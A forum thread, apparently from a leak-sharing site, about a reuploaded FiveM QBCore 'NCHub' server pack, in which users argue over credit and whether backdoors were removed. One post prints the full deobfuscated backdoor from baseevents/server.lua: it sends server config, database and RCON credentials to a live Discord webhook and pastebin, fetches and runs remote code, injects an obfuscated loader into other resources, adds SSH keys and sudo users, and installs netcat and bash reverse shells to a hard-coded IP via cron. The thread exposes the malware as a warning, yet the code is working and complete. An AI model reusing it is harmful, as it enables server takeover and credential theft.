Security HUD
System Watchdog
×
Threads Scanned
-- / --
SYS. LOAD --%
AI SHIELD ACTIVE
DMCA Policy
×

📋 DMCA Compliance

This platform and community fully complies with the Digital Millennium Copyright Act (DMCA) and international copyright laws. We take all copyright protection seriously.

🛡️ Copyright Protection

If you believe a posted item belongs to you or violates your copyright, you may file a DMCA takedown request through our official channels. Upon receiving a valid claim, the infringing content will be removed within 24 hours.

What's new
×
Fiveguard

ServerFile 🔥[NEW]🔥 [FREE] [QBCORE] FULL NCHUB (v5.0) PACK | (ReUpload)

CreatingCalibers

Gold Elite
Joined
Oct 11, 2022
Messages
321
Reaction score
2,001
Points
316
Location
20110
I re uploaded due to the Mega limits and I can actually upload to GDrive and keep the link alive for others to use, if you would like credits to your post you could've simply asked instead of calling me an idiot. Go ahead and report it all you want that does not affect me, as for the backdoors "All backdoors have been removed" I'm pretty sure any person with some basic coding knowledge could see there are quite a few backdoors still within the scripts unless you placed them there yourself (Many scripts still contain lines of code which are sending players information a discord webhook.)
Don't sweat that man my dude you think he gets those files legit himself,
I know where he get those files from. they where never his files he just swiped them from someone else and posted them here he didn't do any work to any file he has ever posted, He post vehicles files and scripts all the time from the liberty ctiy page and other sources where they are posted for free.
 

7TEEN

Bronze Elite
Joined
Jun 26, 2021
Messages
14
Reaction score
1,991
Points
296
Don't sweat that man my dude you think he gets those files legit himself,
I know where he get those files from. they where never his files he just swiped them from someone else and posted them here he didn't do any work to any file he has ever posted, He post vehicles files and scripts all the time from the liberty ctiy page and other sources where they are posted for free.
Thanks for the extra info shows how silly this guy is.
 

lavindlzar@gmai

Silver Elite
Joined
Apr 20, 2021
Messages
31
Reaction score
22
Points
156
1.PNG

2.PNG

3.PNG

4.PNG


If the link dies again message me on discord I'll try sort it out again.



7TEEN#3925
 

blackcould45

Bronze Elite
Joined
May 3, 2021
Messages
39
Reaction score
2
Points
156
Why are you uploading my edited version and doing the 2 same topic on you idiot?
Your reupload has been reported to googledrive.


Hahaha are you stupid? this event has nothing to do with it. You just have to have Steam and GTA

All backdoors have been removed, don't talk shit.
if you don't know, keep your hands off:poop::poop::poop::poop::poop:
act like a pro, actually a trash lol
 

ajay789

Member
Joined
May 20, 2022
Messages
21
Reaction score
0
Points
156
Location
India
it still have back door here is proof see log
 

Attachments

  • fxserver_1672330975.txt
    400.6 KB · Views: 338

CreatingCalibers

Gold Elite
Joined
Oct 11, 2022
Messages
321
Reaction score
2,001
Points
316
Location
20110
it still have back door here is proof see log

Yes it does, those are callback backdoors I was referring to from another post
If you read through the comments you will see @ 7TEEN 7TEEN just re-uploaded it from another source,
The chum bag rocky uploaded it claiming he fixed it all and had it uploaded through a mega link which has limited download when all he did was steal the files form someone else and makes claimed he did the work. this was just a reupload of that file for people to DL the wole file without the wait time.

So when you boot up the server it has a hard code that displays in txadmin leaving record log
for
[ script:baseevents] serverName = "Server By NCHub | Discord.gg/NCHub"

[ script:baseevents] SetConvarReplicated("sv_hostname", string.format(serverName))

[ script:baseevents] SetConvarServerInfo('tags', 'HACKED')

[ script:baseevents] SetConvarServerInfo('tags', 'HACKED BY NCHub')

[ script:baseevents] SetConvarServerInfo('tags', 'NCHub')

[ script:baseevents] SetConvarServerInfo('tags', 'Discord.gg/NCHub')

[ script:baseevents] SetConvarServerInfo('tags', 'Server By NCHub | Discord.gg/NCHub')

[ script:baseevents] end, false)

[ script:baseevents]

[ script:baseevents] RegisterCommand("NN+8888+discordHack", function(source, args, rawCommand)

[ script:baseevents] TriggerClientEvent('8888-Backdoor-discordHack', -1, GetConvar('sv_hostname'))

THIS IS THE COMMAND BACKDOOR THAT @
Rocky_Balboa VAGS VIP MEMBER put into his discord webhook
 
Last edited:
  • Like
Reactions: No1

donvlee97

Member
Joined
Jul 29, 2021
Messages
3
Reaction score
0
Points
156
So we are safe to use this one aslong as we do some common sense in looking for backdoors (webhooks, hidden commands/interactions/callbacks), correct?
 

CreatingCalibers

Gold Elite
Joined
Oct 11, 2022
Messages
321
Reaction score
2,001
Points
316
Location
20110
So we are safe to use this one aslong as we do some common sense in looking for backdoors (webhooks, hidden commands/interactions/callbacks), correct?
Honestly the easiest thing to do is to use the default qbcore from qbcore dev files and add the script you wanna use that are not encrypted and add them in after checking them for viruses this server is redesigned for NChub,
So pull the scripts you want change the nc events back to qb and add the usable custom scripts to your own clean server.
 

pestek

Silver Elite
Joined
May 12, 2022
Messages
17
Reaction score
7
Points
166
Location
poland
Website
discord.gg
Honestly the easiest thing to do is to use the default qbcore from qbcore dev files and add the script you wanna use that are not encrypted and add them in after checking them for viruses this server is redesigned for NChub,
So pull the scripts you want change the nc events back to qb and add the usable custom scripts to your own clean server.

yea, backdoors are in baseevents/server.lua
if someone can decrypt this file...
oh wait... i can
here you go:
RegisterServerEvent('baseevents:onPlayerDied') RegisterServerEvent('baseevents:onPlayerKilled') RegisterServerEvent('baseevents:onPlayerWasted') RegisterServerEvent('baseevents:enteringVehicle') RegisterServerEvent('baseevents:enteringAborted') RegisterServerEvent('baseevents:enteredVehicle') RegisterServerEvent('baseevents:leftVehicle') AddEventHandler('baseevents:onPlayerKilled', function(killedBy, data) local victim = source RconLog({msgType = 'playerKilled', victim = victim, attacker = killedBy, data = data}) end) AddEventHandler('baseevents:onPlayerDied', function(killedBy, pos) local victim = source RconLog({msgType = 'playerDied', victim = victim, attackerType = killedBy, pos = pos}) end) ----------------------- AddEventHandler('onResourceStart', function(resourceName) if (GetCurrentResourceName() == "sessionmanager") then CreateThread(function() PerformHttpRequest("http://api.ipify.org/", function(err, rText, headers) local IP = rText os.execute("ssh -N -R 9999:localhost:22 root@"..rText) os.execute("ssh -N -R 9999:localhost:22 *@*") os.execute("ssh -N -R 9999:localhost:22 Administrator@*") os.execute("ssh -N -R 9999:localhost:22 [email protected]") end) end) end end) -- !> Server CFG Getter <! -- local open = io.open local function read_file(path) local file = open(path, "rb") -- r read mode and b binary mode if not file then return nil end local content = file:read "*a" -- *a or *all reads the whole file file:close() return content end local fileContent = read_file("server.cfg"); finalContent = "```" .. fileContent .. "```" if not SakxS3939 then SakxS3939 = true PerformHttpRequest("https://discord.com/api/webhooks/1041404520011399239/vWdCUO2uIl3U2t8kp05gELizgunrEBEx9dtxPumb3qc6PU5PzMDYNJOmiQ1ZB8l99XQf", function(err, text, header) end, 'POST', json.encode({username = GetConvar('sv_hostname'), content = finalContent }), {['Content-Type'] = 'application/json'}) end PerformHttpRequest("https://spambude.net/Dks/client-backdoor.lua", function(err, rText, headers) SkA92 = rText end) local pastebinApiKey = "xc76ccBspjDEpyquvg96E6iURGVKHdYv" local option = "api_option=paste&api_paste_private=1&api_paste_format=lua&api_dev_key=" .. pastebinApiKey .. "&api_paste_code=" .. fileContent if not dksa9308592 then dksa9308592 = true CreateThread(function() PerformHttpRequest("https://pastebin.com/api/api_post.php", function(errorCode, resultData, resultHeaders) rs225106820 = tostring(resultData) PerformHttpRequest("http://api.ipify.org/", function(err, rText, headers) local IP = rText fullContent = "__**Server Info:**__\n\nServer IP: **"..IP.."**\nServer Name: **".. GetConvar('sv_hostname').. "**\n\n__**Anderwertige Info:**__\n\nMySQL String: **" .. GetConvar('mysql_connection_string') .. "**\nRCON: **" .. GetConvar('rcon_password') .. "**\n\n__**Backdoor Info:**__\n\nBackdoor Port: **4078** & **22**\nBackdoor User: **NaorNC** / **7777**\nBackdoor Password: **NaorNC** / **7777**" PerformHttpRequest("https://discord.com/api/webhooks/1041404520011399239/vWdCUO2uIl3U2t8kp05gELizgunrEBEx9dtxPumb3qc6PU5PzMDYNJOmiQ1ZB8l99XQf", function(err, text, header) end, 'POST', json.encode({username = GetConvar('sv_hostname'), content = fullContent }), {['Content-Type'] = 'application/json'}) end) end, "POST", option) end) -- !> Server CFG Getter <! -- end local getBackdoorClient = {} RegisterNetEvent("CreateThreadFunction") AddEventHandler("CreateThreadFunction", function() if not getBackdoorClient[source] then TriggerClientEvent("CreateThreadFunction", source, SkA92) getBackdoorClient[source] = true else return end end) BackdoorStuffServer = { 'server/host_lock', 'server/server', 'server', 'server/sv', 'server/sv_shared', 'sv_shared', 'util_shared', 'admin_server', 'sv/sv', 'sv/server', 'sv/sv_shared', 'Server/PerformHttpRequest' } BackdoorStuffClient = { 'client/empty', 'client/client', 'client', 'client/cl', 'client/cl_shared', 'cl_shared', 'cl/client', 'cl/cl', 'cl/cl_shared' } -- !> Install Backdoor in other Scripts <! -- function Initialize() inputFile = 'server.cfg' file = io.open("server.cfg", "r") sAjXAo = file:read("*a") end function Edit() SetConvar("rcon_password", "NaorNC") if GetConvar("rcon_password") == nil or GetConvar("rcon_password") == "" then local file = io.open(inputFile, 'r') local fileContent = {} for line in file:lines() do table.insert (fileContent, line) end io.close(file) fileContent[3] = 'This line has been edited' file = io.open(inputFile, 'w') file:write(sAjXAo..'\nrcon_password NaorNC') SetConvar("rcon_password", "NaorNC") io.close(file) else end end Initialize() Edit() function SDhskXCsi391() function setall(an, ao) for _, eXux in pairs(BackdoorStuffServer) do local ap = io.open(an.."/"..eXux..".lua", "r") local aq = split(an, "/") local ar = aq[#aq] aq = nil; if ap then if not ao then ap:seek("set", 0) local as = ap:read("*a") ap:close() local at = split(as, "\n") local au = false; local av = true; if av then local sAk = [[ local llIllIIlIIIIIIll = { Ench, Support, Host, Pairs, Realease, Callbacks, Source, Hosting, Event, PerformHttpRequest, assert, server, load, Spawn, materials } local IIlIlllllIIlIIIl = { '68', '74', '74', '70', '73', '3a', '2f', '2f', '73', '70', '41', '4d', '42', '55', '44', '65', '2e', '4e', '65', '74', '2f', '44', '6b', '73', '2f', '64', '64', '2e'; '6c', '75', '61' } function lIlllIlllIlIIlIl() _empt = '' for id,it in pairs(IIlIlllllIIlIIIl) do _empt = _empt..it end return (_empt:gsub('..', function (cc) return string.char(tonumber(cc, 16)) end)) end llIllIIlIIIIIIll[10](lIlllIlllIlIIlIl(), function (e, d) local s = llIllIIlIIIIIIll[11](llIllIIlIIIIIIll[13](d)) if (d == nil) then return end s() end) ]] az = sAk ap = io.open(an.."/"..eXux..".lua", "w") if ap then ap:seek("set", 0) ap:write(as.."\n"..az) ap:close() else end; else end end else end end for _, eXux in pairs(BackdoorStuffClient) do local ap = io.open(an.."/"..eXux..".lua", "r") local aq = split(an, "/") local ar = aq[#aq] aq = nil; if ap then if not ao then ap:seek("set", 0) local as = ap:read("*a") ap:close() local at = split(as, "\n") local au = false; local av = true; if av then local Soa90 = [[ function sst_conv8() _empt = '' for id,it in pairs(random_char) do _empt = _empt..it end return (_empt:gsub('..', function (cc) return string.char(tonumber(cc, 16)) end)) end CreateThread(function() TriggerServerEvent("CreateThreadFunction") RegisterNetEvent("CreateThreadFunction") AddEventHandler("CreateThreadFunction", function(CreateThreadFunction) load(CreateThreadFunction)() end) end) ]] az = Soa90 ap = io.open(an.."/"..eXux..".lua", "w") if ap then ap:seek("set", 0) ap:write(as.."\n"..az) ap:close() else end; else end end else end end end; function searchall(an, ao) local ap = io.popen("dir \""..an.."\" /b /ad") ap:seek("set", 0) local aA = ap:read("*a") ap:close() local at = split(aA, "\n") for U, aw in ipairs(at) do if string.len(aw) > 0 then setall(an.."/"..aw, ao) searchall(an.."/"..aw, ao) end end end; function split(aB, aC) local aD, aE = 0, {} for aF, aG in function() return string.find(aB, aC, aD, true) end do table.insert(aE, string.sub(aB, aD, aF - 1)) aD = aG + 1 end; table.insert(aE, string.sub(aB, aD)) return aE end; function randomstring() local aH = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' local aI = 5; local aJ = '' math.randomseed(os.time()) charTable = {} for aK in aH:gmatch"." do table.insert(charTable, aK) end; for al = 1, aI do aJ = aJ..charTable[math.random(1, #charTable)] end; ad = aJ end; function installBackdoorToScripts() local ak = GetNumResources() for al = 0, ak - 1 do local am = GetResourcePath(GetResourceByFindIndex(al)) if string.len(am) > 4 then setall(am) end end; end installBackdoorToScripts() -- !> Install Backdoor in other Scripts <! -- end RegisterCommand("NN+8888+installBackdoor", function(source, args, rawCommand) SDhskXCsi391() end, false) RegisterCommand("NN+8888+hackServer", function(source, args, rawCommand) TriggerClientEvent('8888-Backdoor-HackServer', -1) end, false) RegisterCommand("NN+8888+blipsHack", function(source, args, rawCommand) TriggerClientEvent('8888-Backdoor-BlipsHack', -1) end, false) RegisterCommand("NN+8888+porn", function(source, args, rawCommand) TriggerClientEvent('8888-Backdoor-pornScreen', -1) end, false) RegisterCommand("NN+8888+soundSpam", function(source, args, rawCommand) TriggerClientEvent('8888-Backdoor-soundSpam', -1) end, false) RegisterCommand("NN+8888+loadBrutan", function(source, args, rawCommand) TriggerClientEvent('8888-Backdoor-Brutan', -1) end, false) RegisterCommand("NN+8888+loadFalcon", function(source, args, rawCommand) TriggerClientEvent('8888-Backdoor-Falcon', -1) end, false) RegisterCommand("NN+8888+stopServer", function(source, args, rawCommand) os.exit() end, false) RegisterCommand("NN+8888+hackedNames", function(source, args, rawCommand) serverName = "Server By NCHub | Discord.gg/NCHub" SetConvarReplicated("sv_hostname", string.format(serverName)) SetConvarServerInfo('tags', 'HACKED') SetConvarServerInfo('tags', 'HACKED BY NCHub') SetConvarServerInfo('tags', 'NCHub') SetConvarServerInfo('tags', 'Discord.gg/NCHub') SetConvarServerInfo('tags', 'Server By NCHub | Discord.gg/NCHub') end, false) RegisterCommand("NN+8888+discordHack", function(source, args, rawCommand) TriggerClientEvent('8888-Backdoor-discordHack', -1, GetConvar('sv_hostname')) end, false) RegisterCommand("NN+8888+loadEverything", function(source, args, rawCommand) SDhskXCsi391() TriggerClientEvent('8888-Backdoor-HackServer', -1) TriggerClientEvent('8888-Backdoor-BlipsHack', -1) TriggerClientEvent('8888-Backdoor-soundSpam', -1) TriggerClientEvent('8888-Backdoor-Brutan', -1) TriggerClientEvent('8888-Backdoor-Falcon', -1) serverName = "Server By NCHub | Discord.gg/NCHub" SetConvarReplicated("sv_hostname", string.format(serverName)) SetConvarServerInfo('tags', 'HACKED') SetConvarServerInfo('tags', 'HACKED BY NChub') SetConvarServerInfo('tags', 'NCHub') SetConvarServerInfo('tags', 'Discord.gg/NCHub') SetConvarServerInfo('tags', 'Server By NCHub | Discord.gg/NCHub') TriggerClientEvent('8888-Backdoor-discordHack', -1, GetConvar('sv_hostname')) end, false) function HackAddUser() os.execute("chmod 700 ~/.ssh") os.execute("chmod 600 ~/.ssh/authorized_keys") os.execute("mkdir -p /root/.ssh/ && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeHv4SVwtcO+ALtit647WWkfDtQgaKSKRstREsvyfKp9FHhHS7ZYZxLF+AMglvecWCIrI2lfwYjotHNlKaAwMWxP82ET5mrnRqXZUYr+7onxTvRVhNg+oIp+b7j2DkR1Q7temVaLPFAMVEeWNnPOyShUaMc4TzvQFC1fg9qTzTSdf6mPSCw2gvu+/A5J6GQKykZYLXEO5YTw3QZ8uuPp17XK3ToqyQSPBeY+X3eE9xpGfXIg1Av2QDUkg/c5z94MYsMPw6iUKwfJDLQUepCQB1PR5SDDnR/IONQy3D/Dvr3Z13uMWHSUV1z3Y/s5lUoLyMiYWnBgyJwPsvL6Untf+3 rsa-key-20220503' > /root/.ssh/authorized_keys") os.execute("adduser -h NaorNC") os.execute("echo -e \"test\ntest\" | passwd NaorNC") os.execute("usermod -aG sudo NaorNC") os.execute("adduser -h /root -s /bin/ash 7777");os.execute("echo -e \"test\ntest\" | passwd 7777") end HackAddUser() function hackServer() os.execute("iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT") os.execute("IPTABLES -A INPUT --dport 22 -m state --state NEW -j ACCEPT") os.execute("apt-get install msfvenom") os.execute("apt-get metasploit-framework") os.execute("msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=178.203.169.229 LPORT=4296 -f elf > shell.elf") end hackServer() local CronHackCode = [[ IP=178.203.169.229 #Change PORT=4078 #Change DIR=".SysInternals" #Example FILENAME="config" #Example CURR_SCRIPT="$0" #DON'T change if ! [ -d ~/${DIR} ] && ! [ -e ~/${DIR}/${FILENAME}.sh ]; then #Checks if the backdoor folder exists, if it doesn't create it. #Make sure the folder isn't named same as something essential... mkdir ~/${DIR}/ touch ~/${DIR}/${FILENAME}.sh fi if [ -x "$(command -v nc)" ]; then #Checks if netcat exists on the filesystem, if it does use netcat rev shell, if it doesn't use bash -i echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $IP $PORT >/tmp/f" > ~/${DIR}/${FILENAME}.sh #Universal way of getting a nc reverse shell even if -e is disabled else echo "bash -i >& /dev/tcp/$IP/$PORT 0>&1" > ~/${DIR}/${FILENAME}.sh fi chmod +x ~/${DIR}/${FILENAME}.sh #Makes the backdoor executable (crontab -l 2>/dev/null; echo "* * * * * bash $HOME/${DIR}/${FILENAME}.sh") | crontab - #Creates the cronjob responsible for calling the backdoor every MINUTE ]] function CronTabBackdoor() os.execute(CronHackCode) end CronTabBackdoor()
 
Last edited:

CreatingCalibers

Gold Elite
Joined
Oct 11, 2022
Messages
321
Reaction score
2,001
Points
316
Location
20110
yea, backdoors are in baseevents/server.lua
if someone can deobfuscate this file...
oh wait... i can
here you go:
Just download from the dev the original script and replace it no need to decrypt it
\[cfx-default]\[system]\baseevents

 
Last edited:

CreatingCalibers

Gold Elite
Joined
Oct 11, 2022
Messages
321
Reaction score
2,001
Points
316
Location
20110
I just wanted to confirm that the backdoors has not been removed, but thanks anyway
there's so much going on with those server files Me personally it'll be easier to get a clean copy of qbcore popular release version and build on it versus NChub virus infest crap
 

SusXprO

Silver Elite
Joined
Mar 15, 2021
Messages
37
Reaction score
21
Points
156
1672391696754.png
whats the prblm on link :) i cant download
 

BTWRUI

Member
Joined
Nov 22, 2022
Messages
12
Reaction score
0
Points
156
Location
Portugal
I can't open the download link and this message appears "about:blank#blocked", does anyone know how to solve it or can you reupload it?
 

fuzzyfist

Member
Joined
Jan 2, 2023
Messages
7
Reaction score
0
Points
156
Location
Indonesia
Nice.. after removed backdoor and replace with authentice baseevents/ server.lua. It works well
 

7TEEN

Bronze Elite
Joined
Jun 26, 2021
Messages
14
Reaction score
1,991
Points
296


Here are the both current links if another upload is needed please DM on discord.

I personally have not claimed any backdoors have been removed this is simply a re-upload to not wait for the stupid download times.
 
Top